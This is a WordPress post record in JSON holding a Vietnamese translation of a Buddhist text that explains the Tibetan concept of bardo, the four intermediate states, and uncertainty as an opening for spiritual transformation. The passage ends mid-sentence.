{"id":3723,"date":"2023-10-26T07:05:25","date_gmt":"2023-10-26T00:05:25","guid":{"rendered":"https:\/\/reikivietnam.org\/wordpress\/?p=3723"},"modified":"2024-12-21T00:54:19","modified_gmt":"2024-12-20T17:54:19","slug":"trung-am-bardo-va-cac-thuc-tai-khac","status":"publish","type":"post","link":"https:\/\/reikivietnam.org\/?p=3723","title":{"rendered":"Trung \u1ea5m (bardo) v\u00e0 c\u00e1c th\u1ef1c t\u1ea1i kh\u00e1c"},"content":{"rendered":"<p><em>BARDO<\/em> L\u00c0 M\u1ed8T T\u1eea T\u00c2Y T\u1ea0NG \u0111\u01a1n gi\u1ea3n ng\u1ee5 \u00fd &#8220;chuy\u1ec3n ti\u1ebfp&#8221; hay k\u1ebd h\u1edf gi\u1eefa vi\u1ec7c ho\u00e0n th\u00e0nh t\u00ecnh hu\u1ed1ng n\u00e0y v\u00e0 vi\u1ec7c b\u1eaft \u0111\u1ea7u t\u00ecnh hu\u1ed1ng kh\u00e1c. <em>Bar<\/em> ngh\u0129a l\u00e0 &#8220;\u1edf gi\u1eefa,&#8221; v\u00e0 <em>do<\/em> ngh\u0129a l\u00e0 &#8220;l\u01a1 l\u1eedng&#8221; hay &#8220;b\u1ecb n\u00e9m.&#8221; Bardo l\u00e0 m\u1ed9t t\u1eeb \u0111\u00e3 \u0111\u01b0\u1ee3c l\u00e0m cho tr\u1edf n\u00ean n\u1ed5i ti\u1ebfng b\u1edfi vi\u1ec7c ph\u1ed5 bi\u1ebfn c\u1ee7a cu\u1ed1n <em>S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft<\/em>. T\u1eeb l\u1ea7n d\u1ecbch \u0111\u1ea7u ti\u00ean c\u1ee7a n\u00f3 sang ti\u1ebfng Anh n\u0103m 1927, cu\u1ed1n s\u00e1ch \u0111\u00e3 g\u1ee3i n\u00ean m\u1ed1i quan t\u00e2m s\u00e2u r\u1ed9ng trong c\u00e1c nh\u00e0 t\u00e2m l\u00ed, nh\u00e0 v\u0103n v\u00e0 tri\u1ebft gia \u1edf ph\u01b0\u01a1ng T\u00e2y, v\u00e0 \u0111\u00e3 b\u00e1n \u0111\u01b0\u1ee3c h\u00e0ng tri\u1ec7u b\u1ea3n.<\/p>\n<p>Ti\u00eau \u0111\u1ec1 <em>S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft<\/em> do d\u1ecbch gi\u1ea3, v\u00e0 nh\u00e0 bi\u00ean t\u1eadp M\u0129 W.Y Evans-Wentz, \u0111\u1eb7t ra ph\u1ecfng theo cu\u1ed1n s\u00e1ch n\u1ed5i ti\u1ebfng (v\u00e0 c\u0169ng l\u00e0 \u0111\u1eb7t t\u00ean sai n\u1ed5i ti\u1ebfng t\u01b0\u01a1ng \u1ee9ng) <em>S\u00e1ch Ai c\u1eadp v\u1ec1 ng\u01b0\u1eddi ch\u1ebft<\/em>.<a href=\"#_edn1\" name=\"_ednref1\">[i]<\/a> T\u00ean th\u1ef1c t\u1ea1i c\u1ee7a cu\u1ed1n s\u00e1ch l\u00e0 <em>Bardo Todrol Chenmo<\/em>, c\u00f3 ngh\u0129a l\u00e0 &#8220;\u0110\u1ea1i gi\u1ea3i tho\u00e1t qua nghe trong Trung \u1ea5m.&#8221; Gi\u00e1o hu\u1ea5n Trung \u1ea5m l\u00e0 c\u1ef1c k\u00ec c\u1ed5 x\u01b0a, v\u00e0 \u0111\u00e3 \u0111\u01b0\u1ee3c t\u00ecm th\u1ea5y trong c\u00e1i \u0111\u01b0\u1ee3c g\u1ecdi l\u00e0 Tantra \u0110\u1ea1i To\u00e0n thi\u1ec7n.<a href=\"#_edn2\" name=\"_ednref2\">[ii]<\/a> Nh\u1eefng gi\u00e1o hu\u1ea5n n\u00e0y c\u00f3 d\u00f2ng truy\u1ec1n th\u1eeba tr\u1ea3i ng\u01b0\u1ee3c v\u1ec1 b\u00ean ngo\u00e0i c\u00e1c th\u1ea7y con ng\u01b0\u1eddi cho t\u1edbi Ph\u1eadt Nguy\u00ean thu\u1ef7 (\u0111\u01b0\u1ee3c g\u1ecdi trong ti\u1ebfng Ph\u1ea1n Samantabhadra \u2013 Ph\u1ed5 Hi\u1ec1n, c\u00f2n theo ti\u1ebfng T\u00e2y T\u1ea1ng l\u00e0 Kuntuzangpo), ng\u01b0\u1eddi \u0111\u1ea1i di\u1ec7n cho s\u1ef1 thu\u1ea7n khi\u1ebft nguy\u00ean thu\u1ef7, t\u1ef1a b\u1ea7u tr\u1eddi, tr\u1ea7n tr\u1ee5i, tuy\u1ec7t \u0111\u1ed1i c\u1ee7a b\u1ea3n t\u00ednh t\u00e2m tr\u00ed c\u1ee7a ch\u00fang ta. Nh\u01b0ng <em>Bardo Todrol Chenmo<\/em> b\u1ea3n th\u00e2n n\u00f3 l\u00e0 m\u1ed9t ph\u1ea7n c\u1ee7a chu k\u00ec l\u1edbn v\u1ec1 gi\u00e1o hu\u1ea5n \u0111\u01b0\u1ee3c truy\u1ec1n th\u1eeba l\u1ea1i t\u1eeb th\u1ea7y Li\u00ean Hoa Sinh v\u00e0 \u0111\u01b0\u1ee3c kh\u1ea3i l\u1ed9 v\u00e0o th\u1ebf k\u1ec9 th\u1ee9 m\u01b0\u1eddi b\u1ed1n b\u1edfi ng\u01b0\u1eddi T\u00e2y T\u1ea1ng c\u00f3 t\u1ea7m nh\u00ecn xa tr\u00f4ng r\u1ed9ng l\u00e0 Karma Lingpa.<\/p>\n<p><em>\u0110\u1ea1i gi\u1ea3i tho\u00e1t qua nghe trong Trung \u1ea5m, S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft<\/em>, l\u00e0 cu\u1ed1n s\u00e1ch \u0111\u1ed9c \u0111\u00e1o v\u1ec1 tri th\u1ee9c. N\u00f3 l\u00e0 lo\u1ea1i s\u00e1ch h\u01b0\u1edbng d\u1eabn hay ki\u1ec3u s\u00e1ch tra c\u1ee9u du l\u1ecbch v\u1ec1 c\u00e1c giai \u0111o\u1ea1n sau ch\u1ebft, \u0111\u01b0\u1ee3c thi\u1ebft k\u1ebf \u0111\u1ec3 \u0111\u01b0\u1ee3c \u0111\u1ecdc b\u1edfi m\u1ed9t th\u1ea7y hay b\u1ea1n t\u00e2m linh cho m\u1ed9t ng\u01b0\u1eddi khi ng\u01b0\u1eddi n\u00e0y ch\u1ebft, v\u00e0 sau khi ch\u1ebft. \u1ede T\u00e2y T\u1ea1ng ng\u01b0\u1eddi ta n\u00f3i l\u00e0 &#8220;N\u0103m ph\u01b0\u01a1ng ph\u00e1p \u0111\u1ec3 \u0111\u1ea1t \u0111\u1ebfn ch\u1ee9ng ng\u1ed9 kh\u00f4ng c\u00f3 thi\u1ec1n&#8221;: <em>nh\u00ecn <\/em>th\u1ea7y v\u0129 \u0111\u1ea1i hay v\u1eadt linh thi\u00eang; <em>\u0111eo<\/em> c\u00e1c h\u00ecnh v\u1ebd c\u00f3 \u00e2n hu\u1ec7 \u0111\u1eb7c bi\u1ec7t v\u1ec1 c\u00e1c madala (h\u00ecnh h\u00ecnh h\u1ecdc) v\u1edbi c\u00e1c m\u1eadt ch\u00fa linh thi\u00eang; <em>n\u1ebfm<\/em> n\u01b0\u1edbc cam l\u1ed3 thi\u00eang, \u0111\u01b0\u1ee3c c\u00e1c th\u1ea7y pha ch\u1ebf th\u00f4ng qua tu luy\u1ec7n m\u00e3nh li\u1ec7t \u0111\u1eb7c bi\u1ec7t; <em>nh\u1edb l\u1ea1i<\/em> vi\u1ec7c chuy\u1ec3n t\u00e2m th\u1ee9c, <em>phowa<\/em>, v\u00e0o l\u00fac ch\u1ebft; v\u00e0 <em>nghe<\/em> c\u00e1c gi\u00e1o hu\u1ea5n s\u00e2u s\u1eafc n\u00e0o \u0111\u00f3, ch\u1eb3ng h\u1ea1n nh\u01b0 <em>\u0110\u1ea1i gi\u1ea3i tho\u00e1t qua nghe trong Trung \u1ea5m<\/em>.<\/p>\n<p><em>S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft<\/em> \u0111\u01b0\u1ee3c d\u00e0nh cho ng\u01b0\u1eddi tu luy\u1ec7n hay ai \u0111\u00f3 quen thu\u1ed9c v\u1edbi c\u00e1c gi\u00e1o hu\u1ea5n c\u1ee7a n\u00f3. V\u1edbi \u0111\u1ed9c gi\u1ea3 hi\u1ec7n \u0111\u1ea1i n\u00f3 c\u1ef1c k\u00ec kh\u00f3 xuy\u00ean th\u1ea5u, v\u00e0 l\u00e0m n\u1ea3y sinh r\u1ea5t nhi\u1ec1u c\u00e2u h\u1ecfi m\u00e0 kh\u00f4ng th\u1ec3 \u0111\u01b0\u1ee3c tr\u1ea3 l\u1eddi m\u1ed9t c\u00e1ch \u0111\u01a1n gi\u1ea3n n\u1ebfu kh\u00f4ng c\u00f3 tri th\u1ee9c n\u00e0o \u0111\u00f3 v\u1ec1 truy\u1ec1n th\u1ed1ng \u0111\u00e3 cho sinh ra n\u00f3. \u0110i\u1ec1u n\u00e0y \u0111\u1eb7c bi\u1ec7t l\u00e0 ho\u00e0n c\u1ea3nh v\u00ec cu\u1ed1n s\u00e1ch n\u00e0y kh\u00f4ng th\u1ec3 \u0111\u01b0\u1ee3c hi\u1ec3u \u0111\u1ea7y \u0111\u1ee7 v\u00e0 \u0111\u01b0\u1ee3c d\u00f9ng m\u00e0 kh\u00f4ng c\u00f3 vi\u1ec7c bi\u1ebft c\u00e1c ch\u1ec9 d\u1eabn truy\u1ec1n kh\u1ea9u kh\u00f4ng \u0111\u01b0\u1ee3c vi\u1ebft ra m\u00e0 th\u1ea7y truy\u1ec1n cho tr\u00f2, v\u00e0 ch\u00ednh l\u00e0 ch\u00eca kho\u00e1 cho vi\u1ec7c tu luy\u1ec7n n\u00f3.<\/p>\n<p>Th\u1ebf th\u00ec trong cu\u1ed1n s\u00e1ch n\u00e0y t\u00f4i \u0111\u1ecbnh tr\u00ecnh b\u00e0y \u0111\u00fang l\u1ea1i c\u00e1c gi\u00e1o hu\u1ea5n, \u0111i\u1ec1u ph\u01b0\u01a1ng T\u00e2y \u0111\u00e3 tr\u1edf n\u00ean quen thu\u1ed9c th\u00f4ng qua <em>S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft<\/em>, trong m\u1ed9t ho\u00e0n c\u1ea3nh to\u00e0n di\u1ec7n h\u01a1n v\u00e0 l\u1edbn h\u01a1n r\u1ea5t nhi\u1ec1u.<\/p>\n<p>&nbsp;<\/p>\n<p>BARDO &#8211; TRUNG \u1ea4M<\/p>\n<p>Do s\u1ef1 ph\u1ed5 c\u1eadp c\u1ee7a cu\u1ed1n <em>S\u00e1ch T\u00e2y T\u1ea1ng v\u1ec1 ng\u01b0\u1eddi ch\u1ebft<\/em>, m\u1ecdi ng\u01b0\u1eddi th\u01b0\u1eddng li\u00ean k\u1ebft t\u1eeb bardo &#8211; trung \u1ea5m &#8211; v\u1edbi ch\u1ebft. \u0110\u00fang l\u00e0 &#8220;bardo&#8221; \u0111\u01b0\u1ee3c d\u00f9ng trong kh\u1ea9u ng\u1eef h\u00e0ng ng\u00e0y gi\u1eefa nh\u1eefng ng\u01b0\u1eddi T\u00e2y T\u1ea1ng \u0111\u1ec3 ch\u1ec9 giai \u0111o\u1ea1n trung gian gi\u1eefa ch\u1ebft v\u00e0 t\u00e1i sinh, nh\u01b0ng n\u00f3 c\u00f3 ngh\u0129a r\u1ed9ng v\u00e0 s\u00e2u h\u01a1n nhi\u1ec1u. Ch\u00ednh trong gi\u00e1o hu\u1ea5n trung \u1ea5m, c\u00f3 l\u1ebd nhi\u1ec1u h\u01a1n b\u1ea5t k\u00ec n\u01a1i n\u00e0o kh\u00e1c, m\u00e0 ch\u00fang ta c\u00f3 th\u1ec3 th\u1ea5y \u0111\u01b0\u1ee3c tri th\u1ee9c c\u1ee7a ch\u01b0 ph\u1eadt v\u1ec1 s\u1ed1ng v\u00e0 ch\u1ebft l\u00e0 s\u00e2u s\u1eafc v\u00e0 bao qu\u00e1t bi\u1ebft bao, v\u00e0 \u0111i\u1ec1u ch\u00fang ta g\u1ecdi l\u00e0 &#8220;s\u1ed1ng&#8221; v\u00e0 \u0111i\u1ec1u ch\u00fang ta g\u1ecdi l\u00e0 &#8220;ch\u1ebft&#8221; th\u1ef1c s\u1ef1 l\u00e0 kh\u00f4ng th\u1ec3 t\u00e1ch r\u1eddi \u0111\u01b0\u1ee3c, khi \u0111\u01b0\u1ee3c th\u1ea5y v\u00e0 \u0111\u01b0\u1ee3c hi\u1ec3u r\u00f5 r\u00e0ng t\u1eeb c\u1ea3nh quan c\u1ee7a ch\u1ee9ng ng\u1ed9.<\/p>\n<p>Ch\u00fang ta c\u00f3 th\u1ec3 chia to\u00e0n th\u1ec3 s\u1ef1 t\u1ed3n t\u1ea1i c\u1ee7a ch\u00fang ta th\u00e0nh b\u1ed1n th\u1ef1c t\u1ea1i: s\u1ed1ng, \u0111ang ch\u1ebft v\u00e0 ch\u1ebft, sau ch\u1ebft v\u00e0 t\u00e1i sinh. C\u00f3 b\u1ed1n Trung \u1ea5m:<\/p>\n<ul>\n<li>trung \u1ea5m &#8220;t\u1ef1 nhi\u00ean&#8221; c\u1ee7a cu\u1ed9c s\u1ed1ng n\u00e0y<\/li>\n<li>trung \u1ea5m &#8220;\u0111au&#8221; c\u1ee7a vi\u1ec7c ch\u1ebft<\/li>\n<li>trung \u1ea5m &#8220;ch\u00f3i s\u00e1ng&#8221; c\u1ee7a ph\u00e1p t\u00ednh<\/li>\n<li>trung \u1ea5m &#8220;nghi\u1ec7p&#8221; c\u1ee7a tr\u1edf th\u00e0nh<\/li>\n<\/ul>\n<ol>\n<li>Trung \u1ea5m t\u1ef1 nhi\u00ean c\u1ee7a cu\u1ed9c s\u1ed1ng n\u00e0y tr\u1ea3i ra to\u00e0n b\u1ed9 th\u1eddi k\u00ec gi\u1eefa sinh v\u00e0 ch\u1ebft. Trong tr\u1ea1ng th\u00e1i tri th\u1ee9c hi\u1ec7n t\u1ea1i c\u1ee7a ch\u00fang ta, \u0111i\u1ec1u n\u00e0y c\u00f3 th\u1ec3 d\u01b0\u1eddng nh\u01b0 nhi\u1ec1u h\u01a1n ch\u1ec9 l\u00e0 trung \u1ea5m, vi\u1ec7c chuy\u1ec3n. Nh\u01b0ng n\u1ebfu ch\u00fang ta ngh\u0129 v\u1ec1 n\u00f3, \u0111i\u1ec1u s\u1ebd tr\u1edf n\u00ean r\u00f5 r\u00e0ng l\u00e0 th\u1eddi gian ch\u00fang ta d\u00e0nh cho cu\u1ed9c s\u1ed1ng n\u00e0y th\u1ef1c ra l\u00e0 t\u01b0\u01a1ng \u0111\u1ed1i ng\u1eafn, n\u1ebfu \u0111\u01b0\u1ee3c so s\u00e1nh v\u1edbi chi\u1ec1u d\u00e0i m\u00eanh m\u00f4ng v\u00e0 s\u1ef1 k\u00e9o d\u00e0i c\u1ee7a l\u1ecbch s\u1eed nghi\u1ec7p c\u1ee7a ch\u00fang ta. Gi\u00e1o hu\u1ea5n nh\u1ea5n m\u1ea1nh cho ch\u00fang ta r\u1eb1ng trung \u1ea5m c\u1ee7a cu\u1ed9c s\u1ed1ng n\u00e0y l\u00e0 th\u1eddi gian duy nh\u1ea5t, v\u00e0 do \u0111\u00f3 l\u00e0 th\u1eddi gian t\u1ed1t nh\u1ea5t \u0111\u1ec3 chu\u1ea9n b\u1ecb cho ch\u1ebft: b\u1eb1ng c\u00e1ch tr\u1edf n\u00ean quen thu\u1ed9c v\u1edbi gi\u00e1o hu\u1ea5n n\u00e0y v\u00e0 b\u1eb1ng c\u00e1ch \u1ed5n \u0111\u1ecbnh tu luy\u1ec7n.<\/li>\n<li>Trung \u1ea5m \u0111au c\u1ee7a vi\u1ec7c ch\u1ebft k\u00e9o d\u00e0i t\u1eeb l\u00fac b\u1eaft \u0111\u1ea7u qu\u00e1 tr\u00ecnh ch\u1ebft k\u00e9o cho t\u1edbi k\u1ebft th\u00fac c\u1ee7a \u0111i\u1ec1u \u0111\u01b0\u1ee3c g\u1ecdi l\u00e0 &#8220;vi\u1ec7c th\u1edf b\u00ean trong&#8221;; \u0111i\u1ec1u n\u00e0y, \u0111\u1ebfn l\u01b0\u1ee3t n\u00f3 \u0111\u01b0a \u0111\u1ebfn cao tr\u00e0o trong vi\u1ec7c b\u1eebng l\u00ean c\u1ee7a b\u1ea3n t\u00ednh t\u00e2m tr\u00ed, \u0111i\u1ec1u ch\u00fang ta g\u1ecdi l\u00e0 &#8220;Ch\u00f3i s\u00e1ng N\u1ec1n t\u1ea3ng,&#8221; v\u00e0o kho\u1ea3nh kh\u1eafc ch\u1ebft.<\/li>\n<li>Trung \u1ea5m s\u00e1ng ch\u00f3i c\u1ee7a ph\u00e1p t\u00ednh bao g\u1ed3m kinh nghi\u1ec7m sau ch\u1ebft c\u1ee7a vi\u1ec7c to\u1ea3 ra c\u1ee7a b\u1ea3n t\u00ednh t\u00e2m tr\u00ed, s\u1ef1 ch\u00f3i s\u00e1ng c\u1ee7a &#8220;\u00c1nh s\u00e1ng R\u00f5 r\u00e0ng,&#8221; c\u00e1i bi\u1ec3u l\u1ed9 ra nh\u01b0 \u00e2m thanh, m\u1ea7u s\u1eafc v\u00e0 \u00e1nh s\u00e1ng.<\/li>\n<li>Trung \u1ea5m nghi\u1ec7p c\u1ee7a vi\u1ec7c tr\u1edf th\u00e0nh l\u00e0 \u0111i\u1ec1u ch\u00fang ta n\u00f3i chung g\u1ecdi l\u00e0 Trung \u1ea5m hay giai \u0111o\u1ea1n trung gian, k\u00e9o d\u00e0i cho t\u1edbi kho\u1ea3nh kh\u1eafc ch\u00fang ta nh\u1eadn vi\u1ec7c sinh m\u1edbi.<\/li>\n<\/ol>\n<p>\u0110i\u1ec1u ph\u00e2n bi\u1ec7t v\u00e0 x\u00e1c \u0111\u1ecbnh ra t\u1eebng trung \u1ea5m l\u00e0 \u1edf ch\u1ed7 ch\u00fang l\u00e0 c\u00e1c k\u1ebd h\u1edf hay th\u1eddi k\u00ec trong \u0111\u00f3 kh\u1ea3 n\u0103ng th\u1ee9c t\u1ec9nh \u0111\u1eb7c bi\u1ec7t hi\u1ec7n di\u1ec7n. C\u01a1 h\u1ed9i cho gi\u1ea3i tho\u00e1t xu\u1ea5t hi\u1ec7n li\u00ean t\u1ee5c v\u00e0 kh\u00f4ng ng\u1eebng th\u00f4ng qua s\u1ed1ng v\u00e0 ch\u1ebft, v\u00e0 gi\u00e1o hu\u1ea5n trung \u1ea5m l\u00e0 ch\u00eca kho\u00e1 hay c\u00f4ng c\u1ee5 t\u1ea1o kh\u1ea3 n\u0103ng cho ch\u00fang ta kh\u00e1m ph\u00e1 ra v\u00e0 nh\u1eadn d\u1ea1ng ch\u00fang, v\u00e0 gi\u00fap ch\u00fang ta s\u1eed d\u1ee5ng ch\u00fang m\u1ed9t c\u00e1ch \u0111\u1ea7y \u0111\u1ee7 nh\u1ea5t c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>B\u1ea4T \u0110\u1ecaNH V\u00c0 C\u01a0 H\u1ed8I<\/p>\n<p>M\u1ed9t trong nh\u1eefng \u0111\u1eb7c tr\u01b0ng trung t\u00e2m c\u1ee7a c\u00e1c trung \u1ea5m l\u00e0 \u1edf ch\u1ed7 ch\u00fang l\u00e0 nh\u1eefng th\u1eddi k\u00ec c\u1ee7a b\u1ea5t \u0111\u1ecbnh s\u00e2u. L\u1ea5y cu\u1ed9c s\u1ed1ng n\u00e0y l\u00e0m th\u00ed d\u1ee5 ch\u00ednh. Khi th\u1ebf gi\u1edbi xung quanh ch\u00fang ta tr\u1edf n\u00ean ng\u00e0y c\u00e0ng r\u1ed1i lo\u1ea1n, v\u1eady th\u00ec cu\u1ed9c s\u1ed1ng c\u1ee7a ch\u00fang ta tr\u1edf n\u00ean b\u1ecb ph\u00e2n m\u1ea3nh nhi\u1ec1u h\u01a1n. M\u1ea5t ti\u1ebfp x\u00fac v\u00e0 b\u1ecb ng\u1eaft kh\u1ecfi b\u1ea3n th\u00e2n ch\u00fang ta, ch\u00fang ta lo l\u1eafng, b\u1ed3n ch\u1ed3n v\u00e0 th\u01b0\u1eddng hoang t\u01b0\u1edfng. M\u1ed9t kh\u1ee7ng ho\u1ea3ng t\u00ed hon ch\u1ecdc th\u1ee7ng qu\u1ea3 b\u00f3ng chi\u1ebfn l\u01b0\u1ee3c m\u00e0 ch\u00fang ta n\u1ea5p \u0111\u1eb1ng sau. M\u1ed9t kho\u1ea3nh kh\u1eafc kinh ho\u00e0ng ch\u1ec9 cho ch\u00fang ta th\u1ea5y m\u1ecdi th\u1ee9 \u0111\u1ec1u b\u1ea5t \u1ed5n v\u00e0 ch\u00eanh v\u00eanh l\u00e0m sao. S\u1ed1ng trong th\u1ebf gi\u1edbi hi\u1ec7n \u0111\u1ea1i l\u00e0 s\u1ed1ng trong \u0111i\u1ec1u r\u00f5 r\u00e0ng l\u00e0 c\u00f5i trung \u1ea5m; b\u1ea1n kh\u00f4ng ph\u1ea3i ch\u1ebft \u0111\u1ec3 tr\u1ea3i nghi\u1ec7m trung \u1ea5m.<\/p>\n<p>T\u00ednh b\u1ea5t \u0111\u1ecbnh n\u00e0y, m\u00e0 b\u00e2y gi\u1edd \u0111\u00e3 lan tr\u00e0n kh\u1eafp m\u1ecdi th\u1ee9, th\u1eadm ch\u00ed \u0111ang tr\u1edf n\u00ean m\u00e3nh li\u1ec7t h\u01a1n, th\u1eadm ch\u00ed c\u00f2n \u0111\u01b0\u1ee3c nh\u1ea5n m\u1ea1nh th\u00eam sau khi ch\u00fang ta ch\u1ebft, khi s\u1ef1 minh m\u1eabn hay u m\u00ea c\u1ee7a ch\u00fang ta s\u1ebd \u0111\u01b0\u1ee3c &#8220;nh\u00e2n l\u00ean b\u1ea9y l\u1ea7n,&#8221; nh\u01b0 c\u00e1c th\u1ea7y cho ch\u00fang ta bi\u1ebft.<\/p>\n<p>B\u1ea5t k\u00ec ai nh\u00ecn m\u1ed9t c\u00e1ch trung th\u1ef1c v\u00e0o cu\u1ed9c s\u1ed1ng s\u1ebd th\u1ea5y r\u1eb1ng ch\u00fang ta s\u1ed1ng trong m\u1ed9t tr\u1ea1ng th\u00e1i ch\u1edd \u0111\u1ee3i v\u00e0 m\u01a1 h\u1ed3 th\u01b0\u1eddng xuy\u00ean. T\u00e2m tr\u00ed ch\u00fang ta d\u1ecbch chuy\u1ec3n li\u00ean mi\u00ean gi\u1eefa u m\u00ea v\u00e0 minh m\u1eabn. N\u1ebfu ch\u00fang ta ch\u1ec9 b\u1ecb u m\u00ea v\u00e0o m\u1ecdi l\u00fac, \u0111i\u1ec1u \u0111\u00f3 ch\u1eafc \u00edt nh\u1ea5t l\u00e0m ra lo\u1ea1i minh m\u1eabn n\u00e0o \u0111\u00f3. \u0110i\u1ec1u th\u1ef1c s\u1ef1 l\u00e0m b\u1ed1i r\u1ed1i v\u1ec1 cu\u1ed9c s\u1ed1ng l\u00e0 \u1edf ch\u1ed7 \u0111\u00f4i khi m\u1eb7c cho m\u1ecdi u m\u00ea c\u1ee7a ch\u00fang ta, ch\u00fang ta v\u1eabn c\u00f3 th\u1ec3 th\u1ef1c s\u1ef1 kh\u00f4n ngoan! \u0110i\u1ec1u n\u00e0y ch\u1ec9 ra cho ch\u00fang ta trung \u1ea5m l\u00e0 g\u00ec: dao \u0111\u1ed9ng li\u00ean t\u1ee5c, kh\u00f4ng d\u1eebng gi\u1eefa minh m\u1eabn v\u00e0 u m\u00ea, gi\u1eefa b\u1ed1i r\u1ed1i v\u00e0 s\u00e1ng su\u1ed1t, ch\u1eafc ch\u1eafn v\u00e0 b\u1ea5t \u0111\u1ecbnh, gi\u1eefa l\u00e0nh m\u1ea1nh v\u00e0 kh\u00f4ng l\u00e0nh m\u1ea1nh. Trong t\u00e2m tr\u00ed ch\u00fang ta, nh\u01b0 ch\u00fang ta hi\u1ec7n t\u1ea1i, tr\u00ed hu\u1ec7 v\u00e0 u m\u00ea n\u1ea3y sinh \u0111\u1ed3ng th\u1eddi, hay, nh\u01b0 ch\u00fang ta n\u00f3i, &#8220;c\u00f9ng n\u1ed5i l\u00ean.&#8221; \u0110i\u1ec1u n\u00e0y ng\u1ee5 \u00fd ch\u00fang ta \u0111\u1ed1i di\u1ec7n v\u1edbi tr\u1ea1ng th\u00e1i li\u00ean t\u1ee5c ch\u1ecdn l\u1ef1a gi\u1eefa hai th\u1ee9, v\u00e0 r\u1eb1ng m\u1ecdi \u0111i\u1ec1u ph\u1ee5 thu\u1ed9c v\u00e0o vi\u1ec7c ch\u00fang ta s\u1ebd ch\u1ecdn c\u00e1i n\u00e0o.<\/p>\n<p>B\u1ea5t \u0111\u1ecbnh th\u01b0\u1eddng xuy\u00ean n\u00e0y c\u00f3 th\u1ec3 l\u00e0m m\u1ecdi th\u1ee9 d\u01b0\u1eddng nh\u01b0 l\u00e0 u \u00e1m v\u00e0 h\u1ea7u nh\u01b0 v\u00f4 v\u1ecdng; nh\u01b0ng n\u1ebfu b\u1ea1n nh\u00ecn s\u00e2u h\u01a1n v\u00e0o n\u00f3, b\u1ea1n s\u1ebd th\u1ea5y r\u1eb1ng ch\u00ednh b\u1ea3n ch\u1ea5t c\u1ee7a n\u00f3 t\u1ea1o n\u00ean k\u1ebd h\u1edf, kh\u00f4ng gian trong \u0111\u00f3 nh\u1eefng c\u01a1 may v\u00e0 c\u01a1 h\u1ed9i s\u00e2u s\u1eafc cho bi\u1ebfn \u0111\u1ed5i li\u00ean t\u1ee5c n\u1edf hoa &#8211; t\u1ee9c l\u00e0 n\u1ebfu ch\u00fang c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c th\u1ea5y v\u00e0 \u0111\u01b0\u1ee3c n\u1eafm l\u1ea5y.<\/p>\n<p>V\u00ec cu\u1ed9c s\u1ed1ng kh\u00f4ng l\u00e0 g\u00ec ngo\u00e0i th\u0103ng gi\u00e1ng li\u00ean mi\u00ean c\u1ee7a sinh, t\u1eed v\u00e0 chuy\u1ec3n ti\u1ebfp, cho n\u00ean c\u00e1c kinh nghi\u1ec7m trung \u1ea5m \u0111ang x\u1ea3y ra cho ch\u00fang ta m\u1ecdi l\u00fac v\u00e0 l\u00e0 ph\u1ea7n c\u01a1 s\u1edf c\u1ee7a vi\u1ec7c t\u1ea1o ra t\u00e2m l\u00ed c\u1ee7a ch\u00fang ta. Tuy nhi\u00ean th\u00f4ng th\u01b0\u1eddng ch\u00fang ta qu\u00ean l\u00e3ng c\u00e1c trung \u1ea5m n\u00e0y v\u00e0 nh\u1eefng k\u1ebd h\u1edf c\u1ee7a ch\u00fang, khi t\u00e2m tr\u00ed ch\u00fang ta chuy\u1ec3n t\u1eeb m\u1ed9t t\u00ecnh hu\u1ed1ng \u0111\u01b0\u1ee3c g\u1ecdi l\u00e0 &#8220;v\u1eefng ch\u1eafc&#8221; n\u00e0y sang t\u00ecnh hu\u1ed1ng ti\u1ebfp, vi\u1ec7c b\u1ecf qua theo th\u00f3i quen v\u1ec1 c\u00e1c b\u01b0\u1edbc chuy\u1ec3n m\u00e0 bao gi\u1edd c\u0169ng xu\u1ea5t hi\u1ec7n. Th\u1ef1c ra, nh\u01b0 gi\u00e1o hu\u1ea5n c\u00f3 th\u1ec3 gi\u00fap ch\u00fang ta hi\u1ec3u, m\u1ecdi kho\u1ea3nh kh\u1eafc c\u1ee7a kinh nghi\u1ec7m c\u1ee7a ch\u00fang ta l\u00e0 trung \u1ea5m, v\u00ec t\u1eebng \u00fd ngh\u0129 v\u00e0 t\u1eebng c\u1ea3m x\u00fac n\u1ea3y sinh ra, v\u00e0 ch\u1ebft \u0111i tr\u1edf l\u1ea1i trong b\u1ea3n ch\u1ea5t c\u1ee7a t\u00e2m tr\u00ed. Ch\u00ednh trong nh\u1eefng kho\u1ea3nh kh\u1eafc c\u1ee7a thay \u0111\u1ed5i v\u00e0 bi\u1ebfn \u0111\u1ed5i m\u1ea1nh m\u1ebd m\u1ed9t c\u00e1ch \u0111\u1eb7c bi\u1ec7t, c\u00e1c gi\u00e1o hu\u1ea5n l\u00e0m ch\u00fang ta nh\u1eadn bi\u1ebft, r\u1eb1ng b\u1ea3n t\u00ednh nguy\u00ean thu\u1ef7, t\u1ef1a b\u1ea7u tr\u1eddi th\u1ef1c c\u1ee7a t\u00e2m tr\u00ed ch\u00fang ta s\u1ebd c\u00f3 c\u01a1 h\u1ed9i \u0111\u1ec3 bi\u1ec3u l\u1ed9.<\/p>\n<p>\u0110\u1ec3 t\u00f4i cho b\u1ea1n m\u1ed9t th\u00ed d\u1ee5. T\u01b0\u1edfng t\u01b0\u1ee3ng r\u1eb1ng m\u1ed9t h\u00f4m b\u1ea1n v\u1ec1 nh\u00e0 sau khi l\u00e0m vi\u1ec7c v\u00e0 th\u1ea5y c\u1eeda nh\u00e0 b\u1ea1n b\u1ecb \u0111\u1eadp v\u1ee1 t\u1eebng m\u1ea3nh m\u1edf toang, treo tr\u00ean c\u00e1c b\u1ea3n l\u1ec1. Nh\u00e0 b\u1ea1n \u0111\u00e3 b\u1ecb c\u01b0\u1edbp. B\u1ea1n \u0111i v\u00e0o b\u00ean trong v\u00e0 th\u1ea5y r\u1eb1ng m\u1ecdi th\u1ee9 b\u1ea1n s\u1edf h\u1eefu \u0111\u00e3 m\u1ea5t ti\u00eau. Ph\u1ea3i m\u1ea5t m\u1ed9t l\u00fac b\u1ea1n \u0111\u1edd ng\u01b0\u1eddi ra 